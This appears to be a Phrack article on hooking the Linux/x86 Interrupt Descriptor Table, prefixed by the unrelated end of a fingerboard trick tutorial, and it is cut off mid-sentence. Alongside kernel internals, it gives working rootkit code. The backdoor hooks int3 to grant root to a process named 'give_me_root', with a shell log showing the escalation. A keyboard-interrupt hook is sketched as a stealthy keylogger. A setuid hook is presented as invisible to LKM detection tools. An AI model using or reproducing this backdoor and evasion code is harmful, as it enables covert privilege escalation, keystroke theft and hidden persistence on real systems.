----------------------- The darkslide is a grinding trick were you flip the board upside down, grind it upside down, then flip it the correct way up. It is technically an upside-down Boardslide. Firstly put your fingers into an ollie postition and move the board towards the grinding objects, when you are close annouf to ollie onto it, flip your board 180 degrees so it is upside down, and push it onto the grinding object. Push it forwards assuming pressure to the front, when you get to the end of the grinding object attemp to flip the board the correct way up. Section : 5 How to get a fingerboard ==================================== Search in some local shops near you or buy them online from: http://www.skateboard.com/techdeckshop/ |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x04 of 0x12 |=-----=[ Handling Interrupt Descriptor Table for fun and profit ]=------=| |=-----------------------------------------------------------------------=| |=----------------=[ kad, ]=-----------------------=| --[ Contents 1 - Introduction 2 - Presentation 2.1 - What is an interrupt? 2.2 - Interrupts and exceptions 2.3 - Interrupt vector 2.4 - What is IDT? 3 - Exceptions 3.1 - List of exceptions 3.2 - Whats happening when an exception appears ? 3.3 - Hooking by mammon 3.4 - Generic interrupt hooking 3.5 - Hooking for profit : our first backdoor 3.6 - Hooking for fun 4 - The hardware interrupt 4.1 - How does It work ? 4.2 - Initialization and activation of a bottom half 4.3 - Hooking of the keyboard interrupt 5 - Exception programmed for the system call 5.1 - List of syscalls 5.2 - How does a syscall work ? 5.3 - Hooking for profit 5.3.1 - Hooking of sys_setuid 5.3.2 - Hooking of sys_write 5.4 - Hooking for fun 6 - CheckIDT 7 - References & Greetz 8 - Appendix --[ 1 - Introduction The Intel CPU can be run in two modes: real mode and protected mode. The first mode does not protect any kernel registers from being altered by userland programs. All modern Operating System make use of the protected mode feature to restrict access to critical registers by userland processes. The protected mode offers 4 different 'privilege levels' (ranging from 0..3, aka ring0..ring3). Userland applications are usually executed in ring3. The kernel on the other hand is executed in the most privileged mode, ring0. This grants the kernel full access to all CPU registers, all parts of the hardware and the memory. With no question is this the mode of choice to do start some hacking. The article will demonstrate techniques for modifying the Interrupt Descriptor Table (IDT) on Linux/x86. Further on will the article explain how the same technique can be used to redirect system calls to achieve similar capability as with Loadable Kernel Modules (LKM). The presented examples in this article will only make use of LKM to load the executable code into kernel space for simplicity reasons. Other techniques which are not scope of this document can be used to either load the executable code into the kernel space or to hide the kernel module (Spacewalker's method for example). CheckIDT which is a useful tool for examining the IDT and to avoid kernel panics every 5 minutes is provided at the end of that paper. --[ 2 - Presentation ----[ 2.1 - What's an interrupt? "An interrupt is usually defined as an event that alters the sequence of instructions executed by a processor. Such events correspond to electrical signals generated by hardware circuits both inside and outside of the CPU chip." (from: "Understanding the Linux kernel," O'Reilly publishing.) ----[ 2.2 - Interrupts and exceptions The Intel reference manual refers to "synchronous interrupts" (those which are produced by the CPU Control Unit (CU) after the execution of an instruction has been finished) as "exceptions". Asynchronous interrupts (those which are generated by other hardware devices at arbitrary time) are referred to as just "interrupts". Interrupts are issued by external I/O devices whereas exceptions are caused either by programming errors or by anomalous conditions that must be handled by the kernel. The term "Interrupt Signals" will be used during this article to refer to both, exceptions and interrupts. Interrupts are split into two categories: Maskable interrupts which can be ignored (or 'masked') for a short time period and non-maskable interrupts which must be handled immediately. Unmaskable interrupts are generated by critical events such as hardware failures; I won't deal with them here. The well-known IRQs (Interrupt ReQuests) fall into the category of maskable interrupts. Exceptions are split into two different categories: Processor generated exceptions (Faults, Traps, Aborts) and programmed exceptions which can be triggered by the assembler instructions int or int3. The latter one are often referred to as software interrupts. ----[ 2.3 - Interrupt vector Each interrupt or exception is identified by a number between 0 and 255. Intel calls this number a vector. The numbers are classified like this: - From 0 to 31 : exceptions and non-maskable interrupts - From 32 to 47 : maskable interrupts - From 48 to 255 : software interrupts Linux uses only one software interrupt (0x80) which is used for the syscall interface to invoke kernel functions. Hardware IRQs (Interrupt ReQuest) from IRQ0..IRQ15 are assigned to the interrupt vectors 32..47. ----[ 2.4 - What is IDT ? IDT = Interrupt Descriptor Table The IDT is a linear table of 256 entries which associates an interrupt handler with each interrupt vector. Each entry of the IDT is a descriptor of 8 bytes which blows the entire IDT up to a size of 256 * 8 = 2048 bytes. The IDT can contain three different types of descriptors/entries: - Task Gate Descriptor Linux does not use this descriptor - Interrupt Gate Descriptor 63 48|47 40|39 32 +------------------------------------------------------------ | | |D|D| | | | | | | | | | HANDLER OFFSET (16-31) |P|P|P|0|1|1|1|0|0|0|0| RESERVED | | |L|L| | | | | | | | | ============================================================= | | SEGMENT SELECTOR | HANDLER OFFSET (0-15) | | | ------------------------------------------------------------+ 31 16|15 0 - bits 0 to 15 : handler offset low - bits 16 to 31 : segment selector - bits 32 to 37 : reserved - bits 37 to 39 : 0 - bits 40 to 47 : flags/type - bits 48 to 63 : handler offset high - Trap Gate Descriptor Same as the previous one, but the flag is different The flag is composed as next : - 5 bits for the type interrupt gate : 1 1 1 1 0 trap gate : 0 1 1 1 0 - 2 bits for DPL DPL = descriptor privilege level - 1 bit reserved Offset low and offset high contain the address of the function handling the interrupt. This address is jumped at when an interrupt occurs. The goal of the article is to change one of these addresses and let our own interrupthandler beeing executed. DPL=Descriptor Privilege Level The DPL is equal to 0 or 3. Zero is the most privileged level (kernel mode). The current execution level is saved in the CPL register (Current Privilege Level). The UC (Unit Of Control) compares the value of the CPL register against the DPL field of the interrupt in the IDT. The interrupt handler is executed if the DPL field is greater (less privileged) or equal to the value in the CPL register. Userland applications are executed in ring3 (CPL==3). Certain interrupt handlers can thus not be invoked by userland applications. The IDT is initialized one first time by the BIOS routine but Linux does it one more time when it take control. The asm lidt function initialize the idtr registry which will contain the size and idt's address. Then the setup_idt function fill the 256 entry of the idt with the same interrupt gate, ignore_int. Then the good gate will be inserted into the idt by the next functions: linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr) insert an interrupt gate at the n place at the address pointed to by the idt register. The interrupt handler's address is stored in 'addr'. linux/arch/i386/kernel/irq.c All maskable interrupts and software interrupts are initialized with: set_intr_gate : #define FIRST_EXTERNAL_VECTOR 0x20 for (i = 0; i < NR_IRQS; i++) { int vector = FIRST_EXTERNAL_VECTOR + i; if (vector != SYSCALL_VECTOR) set_intr_gate(vector, interrupt[i]); linux/arch/i386/kernel/traps.c::set_system_gate(n, addr) insert a trap gate. The DPL field is set to 3. These interrupts can be invoked from the userland (ring3). set_system_gate(3,&int3) set_system_gate(4,&overflow) set_system_gate(5,&bounds) set_system_gate(0x80,&system_call); linux/arch/i386/kernel/traps.c::set_trap_gate(n, addr) insert a trap gate with the DPL field set to 0. The Others exception are initialized with set_trap_gate : set_trap_gate(0,÷_error) set_trap_gate(1,&debug) set_trap_gate(2,&nmi) set_trap_gate(6,&invalid_op) set_trap_gate(7,&device_not_available) set_trap_gate(8,&double_fault) set_trap_gate(9,&coprocessor_segment_overrun) set_trap_gate(10,&invalid_TSS) set_trap_gate(11,&segment_not_present) set_trap_gate(12,&stack_segment) set_trap_gate(13,&general_protection) set_trap_gate(14,&page_fault) set_trap_gate(15,&spurious_interrupt_bug) set_trap_gate(16,&coprocessor_error) set_trap_gate(17,&alignement_check) set_trap_gate(18,&machine_check) IRQ interrupts are initialized by set_intr_gate(), Exception int3, overflow, bound and the system_call software interrupt by set_system_gate(). All others exceptions are initialized by set_trap_gate(). Let's start over with some practice and examine the currently assigned handler addresses for each interrupt. Use the tool CheckIDT [6] attached to this article for this: %./checkidt -A -s Int *** Stub Address * Segment *** DPL * Type Handler Name -------------------------------------------------------------------------- 0 0xc01092c8 KERNEL_CS 0 Trap gate divide_error 1 0xc0109358 KERNEL_CS 0 Trap gate debug 2 0xc0109364 KERNEL_CS 0 Trap gate nmi 3 0xc0109370 KERNEL_CS 3 System gate int3 4 0xc010937c KERNEL_CS 3 System gate overflow 5 0xc0109388 KERNEL_CS 3 System gate bounds 6 0xc0109394 KERNEL_CS 0 Trap gate invalid_op ... 18 0xc0109400 KERNEL_CS 0 Trap gate machine_check 19 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int 20 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int ... 31 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int 32 0xc010a0d8 KERNEL_CS 0 Interrupt gate IRQ0x00_interrupt 33 0xc010a0e0 KERNEL_CS 0 Interrupt gate IRQ0x01_interrupt ... 47 0xc010a15c KERNEL_CS 0 Interrupt gate IRQ0x0f_interrupt 128 0xc01091b4 KERNEL_CS 3 System gate system_call The System.map contains the symbol names to the addresses shown above. % grep c0109364 /boot/System.map 00000000c0109364 T nmi nmi=not maskable interrupt ->trap_gate % grep c010937c /boot/System.map 00000000c010937c T overflow overflow -> system_gate % grep c01001e4 /boot/System.map 00000000c01001e4 t ignore_int 18 to 31 are reserved by Intel for further use % grep c010a0e0 /boot/System.map 00000000c010a0e0 t IRQ0x01_interrupt device keyboard ->intr_gate % grep c01091b4 /boot/System.map 00000000c01091b4 T system_call system call -> system_gate rem: there is a new option in checkIDT for resolving symbol --[ 3 - Exceptions ----[ 3.1 - List of exceptions --------------------------------------------------------------------------+ number | Exception | Exception Handler | --------------------------------------------------------------------------+ 0 | Divide Error | divide_error() | 1 | Debug | debug() | 2 | Nonmaskable Interrupt | nmi() | 3 | Break Point | int3() | 4 | Overflow | overflow() | 5 | Boundary verification | bounds() | 6 | Invalid operation code | invalid_op() | 7 | Device not available | device_not_available() | 8 | Double Fault | double_fault() | 9 | Coprocessor segment overrun | coprocesseur_segment_overrun() | 10 | TSS not valid | invalid_tss() | 11 | Segment not present | segment_no_present() | 12 | stack exception | stack_segment() | 13 | General Protection | general_protection() | 14 | Page Fault | page_fault() | 15 | Reserved by Intel | none | 16 | Calcul Error with float virgul| coprocessor_error() | 17 | Alignement check | alignement_check() | 18 | Machine Check | machine_check() | --------------------------------------------------------------------------+ Exceptions are divided into two categories: - processor detected exceptions (DPL field set to 0) - software interrupts (aka programmed exceptions), (DPL field set to 3). The latter one can be invoked from userland. ----[ 3.2 - Whats happening when an exception occurs ? On the occurrence of an exception the corresponding handler address from the current IDT is executed. This handler is not the real handler who deals with the exception, it's just jumps till the true/good handler. To be clearer : exception -----> intermediate Handler -----> Real Handler entry.S defines all the intermediate Handler, also called Generic Handler or stub. The first Handler is written in asm, the real Handler written in C. For not being confused, lets call the first handler : asm Handler and the second one the C Handler. let's have a look at entry.S : entry.S : --------- ************************************************** ENTRY(nmi) pushl $0 pushl $ SYMBOL_NAME(do_nmi) jmp error_code ENTRY(int3) pushl $0 pushl $ SYMBOL_NAME(do_int3) jmp error_code ENTRY(overflow) pushl $0 pushl $ SYMBOL_NAME(do_overflow) jmp error_code ENTRY(divide_error) pushl $0 # no error value/code pushl $ SYMBOL_NAME(do_divide_error) ALIGN error_code: pushl %ds pushl %eax xorl %eax,%eax pushl %ebp pushl %edi pushl %esi pushl %edx decl %eax # eax = -1 pushl %ecx pushl %ebx cld movl %es,%cx movl ORIG_EAX(%esp), %esi # get the error value movl ES(%esp), %edi # get the function address movl %eax, ORIG_EAX(%esp) movl %ecx, ES(%esp) movl %esp,%edx pushl %esi # push the error code pushl %edx # push the pt_regs pointer movl $(__KERNEL_DS),%edx movl %dx,%ds movl %dx,%es GET_CURRENT(%ebx) call *%edi addl $8,%esp jmp ret_from_exception ********************************************** Let's examine the above: ALL handlers have the same structure (only system_call and device_not_available are different): pushl $0 pushl $ SYMBOL_NAME(do_####name) jmp error_code Pushl $0 is only used for some exceptions. The UC is supposed to smear the hardware error value of the exception onto the stack. Some exceptions to not generate an error value and $0 (zero) is pushed instead. The last line jumps to error_code (see linux/arch/i386/kernel/entry.S for details). error code is an asm macro used by the exceptions. so let's resume once again exception ---> intermediate Handler ---> error_code macro ---> Real Handler The Assembly fragment error_code performs the following steps: 1: Saves the registers that might be used by the high-level C function on the stack. 2: Set eax to -1. 3: Copy the hardware error value ($esp + 36) and the handler's address ($esp + 32) in esi and edi respectively. movl ORIG_EAX(%esp), %esi movl ES(%esp), %edi 4: Place eax, which is equal to -1, at the error code emplacement. Copy the content of es to the stack location at $esp + 32. 5: Save the the stack's top Address into edx,then smear error_code which we get back at point 3 and edx on the stack. The stack's top address must be saved for later use. 6: Place the kernel data segment selector into the ds and es registry. 7: Set the current process descriptor's address in ebx. 8: Stores the parameters to be passed to the high-level C function on the stack (e.g. the hardware exception value and the address and the stack location of the saved registers from the user mode process). 9: Call the exception handler (address is in edi, see 3). 10: The two last instructions are for the back of the exception. error_code will jump to the suitable exception Manager. The one that's gonna actually handle the exceptions (see traps.c for detailed information). So these ones are written in C. Let's take an exception handler as a concrete example. For example, the C handler for non maskable nmi interruption. rem: taken from traps.c ************************************************************** asmlinkage void do_nmi(struct pt_regs * regs, long error_code) { unsigned char reason = inb(0x61); extern atomic_t nmi_counter; .... ************************************************************** asmlinkage is a macro used to keep params on the stack. As params are passed from asm code to C code through the stack, it would be bad to get unwanted params put on the top of the stack. Asmlinkage gonna resolve that point. The function do_nmi gets a pointer of type pt_regs and error_code. pt_regs is defined into /usr/include/asm/ptrace.h: struct pt_regs { long ebx; long ecx; long edx; long esi; long edi; long ebp; long eax; int xds; int xes; long orig_eax; long eip; int xcs; long eflags; long esp; int xss; }; A part of the registry are push on the stack by error_code, the others are some registry pushed by the UC at the hardware level. This handler will handle the exception and almost all time send a signal to the process. ----[ 3.3 - Hooking an interrupt (by Mammon) Mammon wrote a txt on how to hook interrupt under linux. The technique I'm going to explain is similar to that of Mammon but will allow us to handle the interrupt in a more generic/comfortable way. Let's take int3, the breakpoint interrupt. The handler/stub is defines as following: ENTRY(int3) pushl $0 pushl $ SYMBOL_NAME(do_int3) jmp error_code The C handler's address is pushed on the stack right after the dummy hardware error value (zero) has been saved. The assembly fragment error_code is executed next. Our approach is to rewrite such an asm handler and push our own handler's address on the stack instead of the original one (do_int3). Example: void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" "pushl $0 \n" "pushl ptr_handler(,1) \n" "jmp *ptr_error_code " :: ); } Our new handler looks similar to the original one. The surrounding statements are required to get it compiled with a C compiler. - We put our asm code into a function to make linking easier. - .globl my_stub, will allow us to reference the asm code if we declare in global : extern asmlinkage void my_stub(); - align 4,0x90, align the size of one word, on Intel processor the alignement is 4 (32 bits). - push ptr_handler(,1) , conform to the gas syntax,we wont use it later. For more information about asm inline, see [1]. We push our Handler's address and we jump to error_code. ptr_handler contain our C Handler's address : unsigned long ptr_handler=(unsigned long)&my_handler; The C Handler: asmlinkage void my_handler(struct pt_regs * regs,long err_code) { void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler; printk("<1>Wowowo hijacking of int 3 \n"); (*old_int_handler)(regs,err_code); return; } We get back two argument, one pointer on the registry, and err_code. We have seen before that error_code push this two argument. We save the old handler's address,the one we was supposed to push (pushl $SYMBOL_NAME(do_int3)). We do a little printk to show that we hooked the interrupt and go back to the old handler.Its the same way as hooking a syscall with "classical method". What's old_handler ? #define do_int3 0xc010977c unsigned long old_handler=do_int3; do_int3 address have been catch from System.map. rem : We can define a symbol's address on-the-fly. To be clearer : asm Handler ---------------- push 0 push our handler jmp to error_code error_code ---------- do some operation pop our handler address jmp to our C handler our C Handler -------------------- save the old handler's address print a message return to the real C handler Real C Handler ------------------- really deal with the interrupt Now we have to change the first Handler's address in the corresponding descriptor in the IDT (offset_low and offset_high, see 2.4). The function accepts three parameters: The number of the interrupt hook, the new handler's address and a pointer to save the old handler's address. void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(3); //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); return; } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } struct descriptor_idt: struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; We have seen that a descriptor is 64 bits long. unsigned short : 16 bits (offset_low,seg_selector and offset_high) unsigned char : 8 bits (reserved and flag) (3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet It's a descriptor for the IDT. The only interesting fields are offset_high and offset_low. It's the two fields we will modify. Hook_stub performs the following steps: 1: We copy our handler's address into new_addr 2: We make the idt variable point on the first IDT descriptor. We got the IDT's address with the function get_addr_idt(). This function execute the asm instruction sidt who get the idt address and his size into a variable. We get the idt's address from this variable (idtr) and we send it back. This have been already explained by sd and devik in Phrack 58 article 7. 3: We save the old handler's address with the function get_stub_from_idt. This function extract the fields offset_high and offset_low from the gived descriptor and send back the address. struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); n = the number of the interrupt to hook. idte will then contain the given interrupt descriptor. We send the handler's address back,for it we send a type (void*) (32 bits). offset_high and offset_low do both 16 bits, we slide the bit for offset high to the left,and we add offset_low. The whole part give the handler's address. 4 : new_addr contain our handler's address,always 32 bits. We extract the 16 MSB and put them into offset_high and the 16 LSB into offset_low. The fields offset_high and offset_low of the interrupt's descriptor to handle have been changed. The whole code is available in annexe CODE 1 Why is this technique not perfect? Its not that its bad, but it isn't appropriate for the others interrupt.Here we admit that all handler are like that : pushl $0 pushl $ SYMBOL_NAME(do_####name) jmp error_code It's True.If you give a look in entry.S, they are almost all look like this. But not all. Imagine you wanna hook the syscall's handler, The device_not_aivable Handler (even if its not really interesting)or even the hardware interrupt....How Will we do it ? ----[ 3.4 - Generic interrupt hooking We are going to use another technique to hook a handler. Remember, in the handler written in C, we went back to the true C handler thanks to a return. Now, we are going to go back in the asm code. Simple example of handler : void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " call *%0 \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } Here, we make a call to our fake C handler, the handler is executed and goes back to the asm handler which jumps to the true asm handler ! Our C handler : asmlinkage void my_function() { printk("<1>Interrupt %i hijack \n",interrupt); } What happens ? We are going to change the address in the idt by the address of our asm handler. This one will jump to our C handler and will go back to our asm handler which, at the end, will jump to the true asm handler the address of which we have saved. ::"m"(hostile_code),"m"(old_stub) For those who had not felt up to read the doc on asm inline, here is the syntax : asm ( assembler instruction : output operands : input operands : list of modified registers ); You can put asm or __asm__. __asm__ is used to avoid confusion with other vars. You can also put asm volatile, in this case the asm code won't be changed (optimized) during the compilation. "m"(hostile_code) and "m"(old_stub) are input operands. The first one is equal to %0, the second one to %1, ... So call %0 is equal to call hostile_code. "m" means memory address. hostile_code corresponds to the address of our C handler and old_stub to the address of the handler that was in the idt previously. If this seems impossible to understand, I advice you to read the doc on asm inline [1]. The whole code is in annexe. All the next codes comes from this code. In each new example, I will only show the asm handler et the C handler. The rest will be the same. First concrete example : bash-2.05# cat test.c #include int main () { int a=8,b=0; printf("A/B = %i\n",a/b); return 0; } bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c bash-2.05# insmod hookstub-V0.2.o interrupt=0 Inserting hook Hooking finish bash-2.05# ./test Floating point exception Interrupt 0 hijack bash-2.05# rmmod hookstub-V0.2 Removing hook bash-2.05# Good ! We see the "Interrupt hijack". In this code, we use MODULE_PARM which will allow to give parameters during the module insertion. For further information about this syntax, read "linux device drivers" from o'reilly [2] (chapter 2). This will allow us to hook a chosen interrupt with the same module. ----[ 3.5 - Hooking for profit : our first backdoor This first very simple backdoor will allow us to obtain a root shell. The C handler is going to give the root rights to the process that has generated the interrupt. Asm handler ------------ void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " pushl %%ebx \n" " movl %%esp,%%ebx \n" " andl $-8192,%%ebx \n" " pushl %%ebx \n" " call *%0 \n" " addl $4,%%esp \n" " popl %%ebx \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } We give to the C handler the address of the current process descriptor. We get it back like in error_code, thanks to the macro GET_CURRENT : #define GET_CURRENT(reg) \ movl %esp, reg; \ andl $-8192, reg; defined in entry.S. rem : We can also use current instead. We put the result on the stack and we call our function. The rest of the asm code puts the stack back in its previous state and jumps to the true handler. C handler : ------------- ... unsigned long hostile_code=(unsigned long)&my_function; ... asmlinkage void my_function(unsigned long addr_task) { struct task_struct *p = &((struct task_struct *) addr_task)[0]; if(strcmp(p->comm,"give_me_root")==0 ) { p->uid=0; p->gid=0; } } We declare a pointer on the current process descriptor. We compare the name of the process with a name we have chosen. We must not attribute the root rights to all the process which would generate this interrupt. If it is the good process, then we can give it new rights. "give_me_root" is a little program which launch a shell (system("/bin/sh")). We will only have to put a breakpoint before system to launch a shell with the root rights. In practice : -------------- bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.c bash-2.05# insmod hookstub-V0.3.2.o interrupt=3 Inserting hook Hooking finish bash-2.05# ///// in another shell ////// sh-2.05$ cat give_me_root.c #include int main (int argc, char ** argv) { system("/bin/sh"); return 0; } sh-2.05$ gcc -o give_me_root give_me_root.c sh-2.05$ id uid=1000(kad) gid=100(users) groups=100(users) sh-2.05$ gdb give_me_root -q (gdb) b main Breakpoint 1 at 0x80483f6 (gdb) r Starting program: /tmp/give_me_root Breakpoint 1, 0x080483f6 in main () (gdb) c Continuing. sh-2.05# id uid=0(root) gid=0(root) groups=100(users) sh-2.05# We are root. The code is in annexe, CODE 2. ----[ 3.6 - Hooking for fun A program that could be interesting is an exception tracer. We could for example hook all the exceptions to print the name of the process that has provoked the exception. We could know all the time who launch what. We could also print the values of the registers. There is a function show_regs that is in arch/i386/kernel/process.c : void show_regs(struct pt_regs * regs) { long cr0 = 0L, cr2 = 0L, cr3 = 0L; printk("\n"); printk("EIP: %04x:[<%08lx>]",0xffff & regs->xcs,regs->eip); if (regs->xcs & 3) printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp); printk(" EFLAGS: %08lx\n",regs->eflags); printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n", regs->eax,regs->ebx,regs->ecx,regs->edx); printk("ESI: %08lx EDI: %08lx EBP: %08lx", regs->esi, regs->edi, regs->ebp); printk(" DS: %04x ES: %04x\n", 0xffff & regs->xds,0xffff & regs->xes); __asm__("movl %%cr0, %0": "=r" (cr0)); __asm__("movl %%cr2, %0": "=r" (cr2)); __asm__("movl %%cr3, %0": "=r" (cr3)); printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3); } You can use this code to print the state of the registers at every exception. Something more dangerous would be to change the asm handler so that it would not execute the true C handler. The process that has generated the exception would not receive such signals as SIGSTOP or SIGSEGV. This would be very useful in some situations. --[ 4 - THE HARDWARE INTERRUPTS ----[ 4.1 - How does it works ? We can also hook interrupts generated by IRQs with the same method but they are less interesting to hook (unless you have a great idea ;). We are going to hook interrupt 33 which is keyboard's. The problem is that this interrupt happens a lot more. The handler will be executed a large number of times and will have to go very fast to not block the system. To avoid this, we are going to use bottom half. There are functions of low priority which are used for interrupt handling in most cases . The kernel is waiting for the adequate time to launch it, and other interruptions are not masked during its execution The waiting bottom half will be executed only at the following: - the kernel finishes to handle a syscall - the kernel finishes to handle a exception - the kernel finishes to handle a interrupt - the kernel uses the schedule() function in order to select a new process But they will be executed before the processor goes back in user mode. So the bottom half are useful to ensure the quick handle of an interruption. Here are some examples of linux used bottom halves ----------------+-------------------------------+ Bottom half | Peripheral equipment | ----------------+-------------------------------+ CONSOLE_BH | Virtual console | IMMEDIATE_BH | Immediate tasks file | KEYBOARD_BH | Keyboard | NET_BH | Network interface | SCSI_BH | SCSI interface | TIMER_BH | Clock | TQUEUE_BH | Periodic tasks queue | ... | | ----------------+-------------------------------+ My goal writing this paper is not to study the bottom halves, as it's a too wide topic. Anyway, for more informations about that topic, you can have a look at http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html [8] IRQ list -------- BEWARE ! : the number of the interrupts are not always the same for the IRQs! ----+---------------+---------------------------------------- IRQ | Interrupt | Peripheral equipment ----+---------------+---------------------------------------- 0 | 32 | Timer 1 | 33 | Keyboard 2 | 34 | PIC cascade 3 | 35 | Second serial port 4 | 36 | First serial port 6 | 37 | Floppy drive 8 | 40 | System clock 11 | 43 | Network interface 12 | 44 | PS/2 mouse 13 | 45 | Mathematic coprocessor 14 | 46 | First EIDE disk controller 15 | 47 | Second EIDE disk controller ----+---------------+---------------------------------------- ----[ 4.2 - Initialization and activation of a bottom half The low parts must be initialized with the function init_bh(n,routine) that insert the address routine in the n-th entry of bh_base (bh_base is an array where low parts are kept). When it is initialized, it can be activated and executed. The function mark_bh(n) is used by the interrupt handler to activate the n-th low part. The tasklets are the functions themselves. There are put together in list of elements of type tq_struct : struct tq_struct { struct tq_struct *next; /* linked list of active bh's */ unsigned long sync; /* must be initialized to zero */ void (*routine)(void *); /* function to call */ void *data; /* argument to function */ }; The macro DELACRE_TASK_QUEUE(name,fonction,data) allow to declare a tasklet that will then be inserted in the task queue thanks to the function queue_task. There is several task queues, the most interesting here is tq_immediate that is executed by the bottom half IMMEDIATE_BH (immediate task queue). (include/linux/tqueue.h) ----[ 4.3 - Hooking of the keyboard interrupt When we hit a key, the interrupt happens twice. Once when we push the key and once when we release the key. The code below will display a message every 10 interrupts. If we hit 5 keys, the message appears. I don't show the asm handler which is the same as in 3.4 Code ---- ... struct Variable { int entier; char chaine[10]; }; ... static void evil_fonction(void * status) { struct Variable *var = (struct Variable * )status; nb++; if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n", nb,var->entier,var->chaine); } ... asmlinkage void my_function() { static struct Variable variable; static struct tq_struct my_task = {NULL,0,evil_fonction,&variable}; variable.entier=3; strcpy(variable.chaine,"haha hijacked key :) "); queue_task(&my_task,&tq_immediate); mark_bh(IMMEDIATE_BH); } We declare a tasklet my_task. We initialize it with our function and the argument. As the tasklet allow us to take only one argument, we give the address of a structure. This will allow to use several arguments. We add the tasklet to the list tq_immediate thanks to queue_task. Finally, we activate the low part IMMEDIATE_BH thanks to mark_bh: mark_bh(IMMEDIATE_BH) We have to activate IMMEDIATE_BH, which handles the tasks queue 'tq_immediate' (the one where we added our own tasklet) evil_function is to be executed just after one of the requested event (listed in part 4.1) evil_function is just going to display a message each time that the interrupt happened 10 times. We effectively hooked the keyboard interrupt. We could use this method to code a keylogger. This one would be the most quiet because it would act at interrupts level. The issue, that I didn't solve, is to know which key has been hit. To do this, we can use the function inb() that can read on a I/O port. There are 65536 I/O ports (8 bits ports). 2 8 bits ports make a 16 bits ports and 2 16 bits ports make a 32 bits ports. The functions that allow us to access ports are: inb,inw,inl : allow to read 1, 2 or 4 consecutive bytes from a I/O port. outb,outw,outl : allow to write 1, 2 or 4 consecutive bytes to a I/O port. So we can read the scancode of the keyboard thanks to the function inb, and its status (pushed, released). Unfortunately, I'm not sure of the port to read. The port for the scancode is 0x60 and the port for the status is 0x64. scancode=inb(0x60); status=inb(0x64); scancode is going to be equal to a value that will have to be transformed to know which key has been hit. This is realized with an array of value. It may exist a function that give directly the conversion, but I'm not sure. If anyone has information about it or wish to develop the topic, he can contact me. --[ 5 - THE EXCEPTION PROGRAMMED FOR THE SYSTEM CALL ----[ 5.1 - List of the syscalls You can find a list of all the syscalls at the url : http://www.lxhp.in-berlin.de/lhpsysc0.html [3]. All syscalls are listed and the value to put in the registers are given. Rem : be ware, the numbers of the syscalls are not the same in 2.2.* and 2.4.* kernels. ----[ 5.2 - How does a syscall work ? Thanks to the technique that we have just used here, we can also hook the syscalls. When a syscall is called, all the parameters of the syscall are in the registers. eax : number of the called syscall ebx : first param ecx : second param edx : third param esi : fourth param edi : fifth param The maximum number of arguments can't exceed 5. However, some syscalls need more than 5 arguments. It is the case for the syscall mmap (6 params). In such a case, a single register is used to point to a memory area to the addressing space of the process in user mode that contains the values of the parameters. We can get these values thanks to the structure pt_regs that we've seen before. We are going to hook syscalls at the IDT level and not in the syscall_table. kstat and all currently available LKM detection tools will fail in detecting our voodoo. I won't show you all what can be done by hooking the syscalls, the technique used by pragmatic or so in their LKMs are applicable here. I will show you how to hook some syscalls, you will be able to hook those you want using the same technique. ----[ 5.3 - Hooking for profit ------[ 5.3.1 - Hooking of sys_setuid SYS_SETUID: ----------- EAX: 213 EBX: uid We are going to begin with a simple case, a backdoor that change the rights of a process into root. The same backdoor as in 3.5 but we are going to hook the syscall setuid. asm handler : -------------- ... #define sys_number 213 ... void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" //save the register value " pushl %%ds \n" " pushl %%eax \n" " pushl %%ebp \n" " pushl %%edi \n" " pushl %%esi \n" " pushl %%edx \n" " pushl %%ecx \n" " pushl %%ebx \n" //compare if it's the good syscall " xor %%ebx,%%ebx \n" " movl %2,%%ebx \n" " cmpl %%eax,%%ebx \n" " jne finis \n" //if it's the good syscall, //put top stack address on stack :) " mov %%esp,%%edx \n" " mov %%esp,%%eax \n" " andl $-8192,%%eax \n" " pushl %%eax \n" " push %%edx \n" " call *%0 \n" " addl $8,%%esp \n" "finis: \n" //restore register " popl %%ebx \n" " popl %%ecx \n" " popl %%edx \n" " popl %%esi \n" " popl %%edi \n" " popl %%ebp \n" " popl %%eax \n" " popl %%ds \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub),"i"(sys_number) ); } - we save the values of all the registers on the stack - we compare eax that contains the number of the syscall with the value of sys_number that we have defined above. - if it is the good syscall, we put on the stack the value of esp from which have saved all the registers (that will be used for pt_regs) and the current process descriptor. - we call our 